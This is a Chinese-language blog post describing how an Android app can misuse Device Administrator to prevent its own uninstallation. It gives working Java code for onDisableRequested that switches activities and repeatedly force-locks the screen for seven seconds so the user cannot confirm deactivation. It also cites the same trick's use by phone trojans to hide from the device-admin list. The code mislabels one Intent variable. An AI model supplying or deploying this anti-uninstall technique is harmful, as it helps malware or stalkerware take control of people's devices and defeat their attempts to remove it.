Android上使用设备管理器漏洞达到防卸载的目的请参照:https://blog.csdn.net/chaozhung_no_l/article/details/52329341
经过多设备测试后发现一个防卸载的漏洞,在取消激活黑屏后,再次进入界面时点击系统Back键或者点击Menu键会在最近任务
列表内出现设备管理器取消确认的弹窗,这样就可以进一步的卸载。
该问题出现原因无非下面两种状况:
1、
getPackageManager().getLaunchIntentForPackage("com.android.settings")
跳转到设置后未能及时finish掉系统弹窗,开屏后直接按back键会回到上一个界面。然而系统设置的弹窗我们使用第三方APP是没有权限处理的。
2、
//跳转回到主界面 Intent intentt = new Intent(context, TestActivity.class); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); //如果是服务里调用,必须加入new task标识 intent.addCategory(Intent.CATEGORY_HOME); context.startActivity(intentt);如果直接跳转到系统桌面的话,就会面临menu键调出最近任务列表内会出现最后调用设置的选项,这样取消激活的弹窗又会出现。
针对这种问题我们可以直接采用以下方案:
1、黑屏前跳转到设置(可以避免按menu键最近任务列表内出现弹窗)
2、跳转到设置后再次进行跳转到当前系统桌面(可以避免按Back键返回上一次的系统设置界面)
以下直接上代码:
https://blog.csdn.net/chaozhung_no_l/article/details/52329341 这篇文章内提到:
已激活设备管理器权限的手机木马利用该漏洞,可以在设置程序的设备管理器列表中隐藏,这样用户就无法通过正常途径取消该手机木马的设备管理器权限,从而达到无法卸载的目的。Android4.2版本以上系统已经修复该漏洞。
…
通过调用stopAppSwitch()方法,系统保证在进入取消设备管理器界面后,5秒内不会进行Activity的切换。
…
onDisableRequested函数满足以下条件即可:
1、返回内容不能为空,这样才可以使设备管理器弹出取消激活设备管理器警示信息 Dialog。
2、通过Activity切换的方式使设备管理器弹出的警示信息Dialog消失。使用户无法操作Dialog。
如果做到以上两点,程序即可成功阻止用户取消激活设备管理器操作。
故,只要在 onDisableRequested 方法中,让用户在取消激活时5s内无法操作界面,然后采取 Activity 切换的方法即可绕开取消激活的步骤。这里为了测试直观并且试一试设备管理器的 api,采用了百度提供的连续锁屏法。测试环境为5.0。
public CharSequence onDisableRequested(Context context, Intent intent) {
//跳转回到设置
Intent outOfDialog = context.getPackageManager().getLaunchIntentForPackage("com.android.settings");
outOfDialog.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(outOfDialog);
//休息200毫秒,调回主界面
try {
Thread.sleep(200);
} catch (InterruptedException e) {
e.printStackTrace();
}
//跳转回到主界面
Intent intentt = new Intent(context, TestActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); //如果是服务里调用,必须加入new task标识
intent.addCategory(Intent.CATEGORY_HOME);
context.startActivity(intentt);
//调用设备管理器本身的功能,每 100ms 锁屏一次,用户即便解锁也会立即被锁,直至 7s 后
final DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
dpm.lockNow();
new Thread(new Runnable() {
@Override
public void run() {
int i = 0;
while (i < 70) {
dpm.lockNow();
try {
Thread.sleep(100);
i++;
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}).start();
return "";
}
安装后打开直接跳转激活界面:
一旦激活则无法正常卸载
进入设备管理器界面
尝试取消激活
强制进入锁屏
至此,用户用普通方法无法卸载该app。测试使用某数字软件可以卸载,具体步骤:在数字软件的软件卸载功能中卸载Trick,此时提示取消激活,跳转到设备管理器界面取消激活,引发锁屏,强制锁屏7s结束后,切回数字软件,你会发现出现了取消激活的dialog,点击取消成功。